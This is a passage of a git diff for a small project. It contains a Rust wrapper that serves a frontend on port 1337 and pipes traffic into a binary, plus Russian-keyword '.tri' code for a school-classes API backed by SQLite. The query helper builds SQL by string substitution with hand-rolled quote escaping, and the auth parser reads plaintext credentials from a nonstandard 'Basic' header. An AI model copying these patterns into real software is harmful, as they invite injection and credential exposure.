source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e"
|
||||
|
||||
[[package]]
|
||||
name = "tower-service"
|
||||
version = "0.3.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3"
|
||||
|
||||
[[package]]
|
||||
name = "tracing"
|
||||
version = "0.1.41"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
|
||||
dependencies = [
|
||||
"log",
|
||||
"pin-project-lite",
|
||||
"tracing-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tracing-core"
|
||||
version = "0.1.34"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678"
|
||||
dependencies = [
|
||||
"once_cell",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicase"
|
||||
version = "2.8.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "75b844d17643ee918803943289730bec8aac480150456169e647ed0b576ba539"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.19"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f63a545481291138910575129486daeaf8ac54aee4387fe7906919f7830c7d9d"
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.1+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.60.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
|
||||
dependencies = [
|
||||
"windows-targets",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-targets"
|
||||
version = "0.53.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
"windows_i686_gnu",
|
||||
"windows_i686_gnullvm",
|
||||
"windows_i686_msvc",
|
||||
"windows_x86_64_gnu",
|
||||
"windows_x86_64_gnullvm",
|
||||
"windows_x86_64_msvc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_gnullvm"
|
||||
version = "0.53.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_msvc"
|
||||
version = "0.53.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnu"
|
||||
version = "0.53.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnullvm"
|
||||
version = "0.53.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_msvc"
|
||||
version = "0.53.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnu"
|
||||
version = "0.53.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnullvm"
|
||||
version = "0.53.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_msvc"
|
||||
version = "0.53.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650"
|
||||
|
||||
[[package]]
|
||||
name = "wrapper"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"axum",
|
||||
"hyper-util",
|
||||
"tokio",
|
||||
"tower-http",
|
||||
]
|
||||
10
wrapper/Cargo.toml
Normal file
10
wrapper/Cargo.toml
Normal file
@@ -0,0 +1,10 @@
|
||||
[package]
|
||||
name = "wrapper"
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
axum = "0.8.6"
|
||||
hyper-util = { version = "0.1.17", features = ["server", "tokio", "http1"] }
|
||||
tokio = { version = "1.48.0", features = ["full"] }
|
||||
tower-http = { version = "0.6.6", features = ["fs"] }
|
||||
188
wrapper/src/main.rs
Normal file
188
wrapper/src/main.rs
Normal file
@@ -0,0 +1,188 @@
|
||||
use core::net::SocketAddr;
|
||||
use core::time::Duration;
|
||||
use std::path::PathBuf;
|
||||
use std::process::Stdio;
|
||||
use std::{env, error};
|
||||
|
||||
use axum::body::Body;
|
||||
use axum::http::{HeaderValue, Request, header};
|
||||
use axum::middleware::Next;
|
||||
use axum::response::Response;
|
||||
use axum::{Router, middleware};
|
||||
use hyper_util::rt::{TokioExecutor, TokioIo};
|
||||
use hyper_util::server::conn::auto;
|
||||
use hyper_util::service::TowerToHyperService;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::{TcpListener, TcpStream};
|
||||
use tokio::process::Command;
|
||||
use tokio::sync::OnceCell;
|
||||
use tokio::sync::mpsc::{self, Receiver};
|
||||
use tokio::task::JoinSet;
|
||||
use tower_http::services::ServeDir;
|
||||
|
||||
const MAX_CONCURRENT: usize = 100;
|
||||
const MAX_BUFFERED: usize = 500;
|
||||
const DEFAULT_BIN_PATH: &str = "../build/target.exe";
|
||||
const DEFAULT_STATIC_PATH: &str = "../frontend";
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
static BIN_PATH: OnceCell<PathBuf> = OnceCell::const_new();
|
||||
static STATIC_PATH: OnceCell<PathBuf> = OnceCell::const_new();
|
||||
|
||||
#[derive(Debug)]
|
||||
#[allow(dead_code)]
|
||||
struct NetworkConnection(pub TcpStream, pub SocketAddr);
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn error::Error>> {
|
||||
if let Ok(path) = env::var("BIN_PATH")
|
||||
&& path != ""
|
||||
{
|
||||
BIN_PATH.set(PathBuf::from(path)).unwrap();
|
||||
} else {
|
||||
BIN_PATH.set(PathBuf::from(DEFAULT_BIN_PATH)).unwrap();
|
||||
}
|
||||
|
||||
if let Ok(path) = env::var("STATIC_PATH")
|
||||
&& path != ""
|
||||
{
|
||||
STATIC_PATH.set(PathBuf::from(path)).unwrap();
|
||||
} else {
|
||||
STATIC_PATH.set(PathBuf::from(DEFAULT_STATIC_PATH)).unwrap();
|
||||
}
|
||||
|
||||
Command::new(BIN_PATH.get().unwrap())
|
||||
.arg("-роанапур=истина")
|
||||
.spawn()?
|
||||
.wait()
|
||||
.await?;
|
||||
|
||||
let listener = TcpListener::bind("0.0.0.0:1337").await?;
|
||||
let (tx, rx) = mpsc::channel::<NetworkConnection>(MAX_BUFFERED);
|
||||
|
||||
tokio::spawn(process_connections(rx));
|
||||
|
||||
loop {
|
||||
let connection = listener.accept().await?;
|
||||
if tx
|
||||
.try_send(NetworkConnection(connection.0, connection.1))
|
||||
.is_err()
|
||||
{
|
||||
println!(
|
||||
"Connection queue full, dropping connection from {}",
|
||||
connection.1
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn process_connections(mut rx: Receiver<NetworkConnection>) {
|
||||
let mut join_set = JoinSet::new();
|
||||
|
||||
loop {
|
||||
let available = MAX_CONCURRENT - join_set.len();
|
||||
tokio::select! {
|
||||
connection = rx.recv(), if available > 0 => {
|
||||
if let Some(connection) = connection {
|
||||
join_set.spawn(handle_connection_or_timeout(connection));
|
||||
}
|
||||
},
|
||||
_ = join_set.join_next(), if join_set.len() > 0 => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_connection_or_timeout(
|
||||
connection: NetworkConnection,
|
||||
) -> Result<(), Box<dyn error::Error + Send + Sync>> {
|
||||
tokio::select! {
|
||||
result = handle_connection(connection) => {
|
||||
result
|
||||
},
|
||||
_ = tokio::time::sleep(Duration::from_secs(TIMEOUT_SECS)) => {
|
||||
Err("Connection timed out".into())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_connection(
|
||||
mut connection: NetworkConnection,
|
||||
) -> Result<(), Box<dyn error::Error + Send + Sync>> {
|
||||
let is_frontend = check_is_frontend_request(&mut connection).await?;
|
||||
|
||||
if is_frontend {
|
||||
return serve_frontend_file(connection).await;
|
||||
}
|
||||
|
||||
let mut child = Command::new(BIN_PATH.get().unwrap())
|
||||
.arg("-подшефный=истина")
|
||||
.stdin(Stdio::piped())
|
||||
.stderr(Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let mut stderr = child.stderr.take().unwrap();
|
||||
let mut stdin = child.stdin.take().unwrap();
|
||||
|
||||
loop {
|
||||
let mut tcp_buf = [0u8; 4096];
|
||||
let mut stderr_buf = [0u8; 4096];
|
||||
|
||||
tokio::select! {
|
||||
result = connection.0.read(&mut tcp_buf) => match result {
|
||||
Ok(how_many) => stdin.write_all(&tcp_buf[0..how_many]).await?,
|
||||
Err(e) => break Err(e.into()),
|
||||
},
|
||||
result = stderr.read(&mut stderr_buf) => match result {
|
||||
Ok(0) => break Ok(()),
|
||||
Ok(how_many) => connection.0.write_all(&stderr_buf[0..how_many]).await?,
|
||||
Err(e) => break Err(e.into()),
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_is_frontend_request(
|
||||
connection: &mut NetworkConnection,
|
||||
) -> Result<bool, Box<dyn error::Error + Send + Sync>> {
|
||||
let mut peek_buf = [0u8; 8];
|
||||
let bytes_read = connection.0.peek(&mut peek_buf).await?;
|
||||
|
||||
if bytes_read == 0 {
|
||||
return Err("Connection closed before sending data".into());
|
||||
}
|
||||
|
||||
let request_str = String::from_utf8_lossy(&peek_buf);
|
||||
|
||||
return Ok(bytes_read == peek_buf.len()
|
||||
&& request_str.starts_with("GET")
|
||||
&& !request_str.ends_with("api"));
|
||||
}
|
||||
|
||||
async fn serve_frontend_file(
|
||||
connection: NetworkConnection,
|
||||
) -> Result<(), Box<dyn error::Error + Send + Sync>> {
|
||||
let stream = connection.0;
|
||||
|
||||
let app = Router::new()
|
||||
.fallback_service(
|
||||
ServeDir::new(STATIC_PATH.get().unwrap()).append_index_html_on_directories(true),
|
||||
)
|
||||
.layer(middleware::from_fn(add_connection_close));
|
||||
|
||||
let tower_svc = app.into_service();
|
||||
let hyper_svc = TowerToHyperService::new(tower_svc);
|
||||
|
||||
auto::Builder::new(TokioExecutor::new())
|
||||
.serve_connection(TokioIo::new(stream), hyper_svc)
|
||||
.await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn add_connection_close(req: Request<Body>, next: Next) -> Response {
|
||||
let mut res = next.run(req).await;
|
||||
|
||||
res.headers_mut()
|
||||
.insert(header::CONNECTION, HeaderValue::from_static("close"));
|
||||
res
|
||||
}
|
||||
101
исх/бд/скуля/скуля.tri
Normal file
101
исх/бд/скуля/скуля.tri
Normal file
@@ -0,0 +1,101 @@
|
||||
модуль скуля
|
||||
осторожно // cognitohazard!
|
||||
|
||||
импорт "стд::вывод"
|
||||
импорт "исх/спринтф"
|
||||
импорт "исх/строка"
|
||||
импорт "исх/форматы/джесон"
|
||||
|
||||
// c:include "sckulya.h"
|
||||
|
||||
фн tri_sqlite_open(файл: Строка, оплошность := Строка): Цел64 @внеш
|
||||
фн tri_sqlite_close(бд: Цел64): Цел64 @внеш
|
||||
фн tri_sqlite_exec(бд: Цел64, прошение: Строка, оплошность := Строка) @внеш
|
||||
фн tri_sqlite_query(бд: Цел64, прошение: Строка, результат := Строка, оплошность := Строка): Цел64 @внеш
|
||||
|
||||
тип Картотека* = класс {
|
||||
ручка: Цел64 := -1
|
||||
}
|
||||
|
||||
фн открыть картотеку*(путь: Строка): Картотека {
|
||||
пусть оплошность := ""
|
||||
пусть ручка = tri_sqlite_open(путь, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
авария(спринтф.ф("не удалось открыть картотеку: $стр", оплошность))
|
||||
}
|
||||
|
||||
вернуть Картотека{
|
||||
ручка: ручка
|
||||
}
|
||||
}
|
||||
|
||||
фн (к: Картотека) закрыть*() {
|
||||
пусть код = tri_sqlite_close(к.ручка)
|
||||
|
||||
если код # 0 {
|
||||
авария(спринтф.ф("не удалось закрыть картотеку, код $цел", код))
|
||||
}
|
||||
}
|
||||
|
||||
фн (к: Картотека) выполнить*(прошение: Строка, оплошность := Строка) {
|
||||
tri_sqlite_exec(к.ручка, прошение, оплошность)
|
||||
}
|
||||
|
||||
фн (к: Картотека) запросить*(прошение: Строка, оплошность := Строка): джесон.ДжесонМногоЗначений {
|
||||
пусть результат := ""
|
||||
пусть код = tri_sqlite_query(к.ручка, прошение, результат, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть джесон.ДжесонМногоЗначений{}
|
||||
}
|
||||
|
||||
пусть объект = джесон.парсить(спринтф.ф("{\"данные\": $стр}", результат), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть джесон.ДжесонМногоЗначений{}
|
||||
}
|
||||
|
||||
вернуть объект.значения[0].значение(:джесон.ДжесонМногоЗначений)
|
||||
}
|
||||
|
||||
тип Аргумент = класс {
|
||||
|
||||
}
|
||||
|
||||
фн экранировать(т аргумента: Слово64, аргумент: *): Строка {
|
||||
пусть кек = аргумент(:Слово64)
|
||||
|
||||
если т аргумента = тег(Строка) {
|
||||
пусть знач = кек(:осторожно Строка)
|
||||
|
||||
вернуть спринтф.ф("'$стр'", строка.заменить(знач, "'", "''"))
|
||||
}
|
||||
|
||||
если т аргумента = тег(Цел64) {
|
||||
пусть знач = кек(:осторожно Цел64)
|
||||
вернуть спринтф.ф("$цел", знач)
|
||||
}
|
||||
|
||||
авария("неподдерживаемый тип аргумента")
|
||||
}
|
||||
|
||||
фн (к: Картотека) запросить безопасно*(прошение: Строка, оплошность := Строка, аргументы: ...*): джесон.ДжесонМногоЗначений {
|
||||
пусть части прошения = строка.разобрать(прошение, "?")
|
||||
|
||||
если длина(части прошения) - 1 # длина(аргументы) {
|
||||
авария("число аргументов не совпадает с числом подстановок")
|
||||
}
|
||||
|
||||
пусть собранное прошение := ""
|
||||
|
||||
пусть ай := 0
|
||||
пока ай < длина(аргументы) {
|
||||
собранное прошение := строка.собрать(собранное прошение, части прошения[ай], экранировать(тег(аргументы[ай]), нечто(аргументы[ай])))
|
||||
ай++
|
||||
}
|
||||
|
||||
собранное прошение := строка.собрать(собранное прошение, части прошения[ай])
|
||||
|
||||
вернуть к.запросить(собранное прошение, оплошность)
|
||||
}
|
||||
28
исх/бюрократия/бюрократия.tri
Normal file
28
исх/бюрократия/бюрократия.tri
Normal file
@@ -0,0 +1,28 @@
|
||||
модуль бюрократия
|
||||
|
||||
импорт "исх/строка"
|
||||
импорт "исх/сеть/хттп"
|
||||
|
||||
тип Паспорт* = класс {
|
||||
имя пользователя*: Строка := ""
|
||||
пароль*: Строка := ""
|
||||
}
|
||||
|
||||
фн получить данные паспорта*(обращение: хттп.ХттпОбращение): мб Паспорт {
|
||||
цикл [номер]заглавие среди обращение.заглавия {
|
||||
если заглавие.имя = "Authorization" {
|
||||
пусть части = строка.разобрать(заглавие.значение, " ")
|
||||
|
||||
если длина(части) # 3 | части[0] # "Basic" {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
вернуть Паспорт{
|
||||
имя пользователя: части[1],
|
||||
пароль: части[2],
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
вернуть пусто
|
||||
}
|
||||
18
исх/властелины/главный/главный.tri
Normal file
18
исх/властелины/главный/главный.tri
Normal file
@@ -0,0 +1,18 @@
|
||||
модуль главный
|
||||
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/сеть/хттп"
|
||||
импорт "исх/сеть/хттп/маршрутизатор"
|
||||
|
||||
фн главный*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
вернуть хттп.ХттпОтвет{
|
||||
туловище: "Привет, мир!",
|
||||
}
|
||||
}
|
||||
|
||||
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
|
||||
маршрутизатор.добавить маршрут("/api/", массивы.Строки["GET"], главный)
|
||||
|
||||
вернуть маршрутизатор
|
||||
}
|
||||
|
||||
373
исх/властелины/классы/классы.tri
Normal file
373
исх/властелины/классы/классы.tri
Normal file
@@ -0,0 +1,373 @@
|
||||
модуль классы
|
||||
|
||||
импорт "стд::вывод"
|
||||
импорт "исх/строка"
|
||||
импорт "исх/спринтф"
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/сеть/хттп"
|
||||
импорт "исх/форматы/джесон"
|
||||
импорт "исх/сеть/хттп/маршрутизатор"
|
||||
импорт "исх/картотека"
|
||||
импорт "исх/картотека/репозитории"
|
||||
импорт "исх/бюрократия"
|
||||
|
||||
фн список классов*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если учитель = пусто & ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть фильтр по учителю := -1
|
||||
|
||||
пусть параметр учитель = обращение.запрос-в-пути.найти("учитель")
|
||||
|
||||
если параметр учитель # пусто {
|
||||
пусть номер байта := 0
|
||||
строка.извлечь цел(параметр учитель^.значение, номер байта, фильтр по учителю)
|
||||
} иначе если ~админ {
|
||||
фильтр по учителю := учитель^.идентификатор
|
||||
}
|
||||
|
||||
если фильтр по учителю = -1 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть классы := картотека.запросить безопасно(`
|
||||
SELECT id, number, letter, creator_teacher_id
|
||||
FROM classes
|
||||
WHERE creator_teacher_id = ?
|
||||
`, оплошность, фильтр по учителю)
|
||||
|
||||
пусть джесон ответ = джесон.ДжесонМногоЗначений{}
|
||||
|
||||
цикл [номер телефона мамы]клass среди классы.значения {
|
||||
пусть объект = клass(:джесон.ДжесонОбъект)
|
||||
|
||||
пусть идентификатор = объект.получить("id").число()^.значение
|
||||
пусть номер = объект.получить("number").число()^.значение
|
||||
пусть буква = объект.получить("letter").строка()^
|
||||
пусть создатель = объект.получить("creator_teacher_id").число()^.значение
|
||||
|
||||
пусть джесон клass = джесон.ДжесонОбъект{}
|
||||
джесон клass.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор })
|
||||
джесон клass.вставить("номер", джесон.ДжесонЧисло{ значение: номер })
|
||||
джесон клass.вставить("буква", джесон.ДжесонСтрока{ значение: буква })
|
||||
джесон клass.вставить("создатель", джесон.ДжесонЧисло{ значение: создатель })
|
||||
|
||||
джесон ответ.значения.добавить(джесон клass)
|
||||
}
|
||||
|
||||
пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{
|
||||
ключ: "классы",
|
||||
значение: джесон ответ
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.ХттпОтвет{
|
||||
туловище: туловище
|
||||
}
|
||||
}
|
||||
|
||||
фн создать клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
|
||||
пусть данные = джесон.парсить(обращение.туловище, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть номер := данные.получить("номер").число()
|
||||
пусть буква := данные.получить("буква").строка()
|
||||
|
||||
если номер = пусто | буква = пусто {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
INSERT INTO classes (number, letter, creator_teacher_id)
|
||||
VALUES (?, ?, ?)
|
||||
RETURNING id, number, letter, creator_teacher_id
|
||||
`, оплошность, номер^.значение, буква^, учитель^.идентификатор)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_422()
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть созданный = ответ.значения[0](:джесон.ДжесонОбъект)
|
||||
пусть идентификатор = созданный.получить("id").число()^.значение
|
||||
пусть создан номер = созданный.получить("number").число()^.значение
|
||||
пусть создан буква = созданный.получить("letter").строка()^
|
||||
пусть создан создатель = созданный.получить("creator_teacher_id").число()^.значение
|
||||
|
||||
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{ключ: "идентификатор", значение: джесон.ДжесонЧисло{значение: идентификатор}},
|
||||
джесон.ДжесонКлючЗначение{ключ: "номер", значение: джесон.ДжесонЧисло{значение: создан номер}},
|
||||
джесон.ДжесонКлючЗначение{ключ: "буква", значение: джесон.ДжесонСтрока{значение: создан буква}},
|
||||
джесон.ДжесонКлючЗначение{ключ: "создатель", значение: джесон.ДжесонЧисло{значение: создан создатель}}
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.создать ответ(
|
||||
хттп.ответ_201(),
|
||||
хттп.ХттпОтвет{туловище: тело}
|
||||
)
|
||||
}
|
||||
|
||||
фн удалить клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто & ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
если длина(параметры) < 1 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть ид класса = параметры[0]
|
||||
|
||||
пусть ответ := джесон.ДжесонМногоЗначений{}
|
||||
|
||||
если админ {
|
||||
ответ := картотека.запросить безопасно(`
|
||||
DELETE FROM classes WHERE id = ?
|
||||
RETURNING id
|
||||
`, оплошность, ид класса)
|
||||
} иначе {
|
||||
ответ := картотека.запросить безопасно(`
|
||||
DELETE FROM classes WHERE id = ? AND creator_teacher_id = ?
|
||||
RETURNING id
|
||||
`, оплошность, ид класса, учитель^.идентификатор)
|
||||
}
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вывод.ф("Класс с id = $стр не найден или не принадлежит учителю", ид класса)
|
||||
вернуть хттп.ответ_404()
|
||||
}
|
||||
|
||||
вернуть хттп.ответ_204()
|
||||
}
|
||||
|
||||
фн добавить ученика в клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто & ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
если длина(параметры) < 2 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть ид класса = параметры[0]
|
||||
пусть ид ученика = параметры[1]
|
||||
|
||||
пусть клass := джесон.ДжесонМногоЗначений{}
|
||||
|
||||
если админ {
|
||||
клass := картотека.запросить безопасно(`
|
||||
SELECT id FROM classes WHERE id = ?
|
||||
`, оплошность, ид класса)
|
||||
} иначе {
|
||||
клass := картотека.запросить безопасно(`
|
||||
SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ?
|
||||
`, оплошность, ид класса, учитель^.идентификатор)
|
||||
}
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(клass.значения) = 0 {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть ученик = картотека.запросить безопасно(`
|
||||
SELECT id FROM students WHERE id = ?
|
||||
`, оплошность, ид ученика)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(ученик.значения) = 0 {
|
||||
вернуть хттп.ответ_404()
|
||||
}
|
||||
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
INSERT INTO class_students (class_id, student_id)
|
||||
VALUES (?, ?)
|
||||
RETURNING id
|
||||
`, оплошность, ид класса, ид ученика)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_422()
|
||||
}
|
||||
|
||||
вернуть хттп.ответ_201()
|
||||
}
|
||||
|
||||
фн удалить ученика из класса*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто & ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
если длина(параметры) < 2 {
|
||||
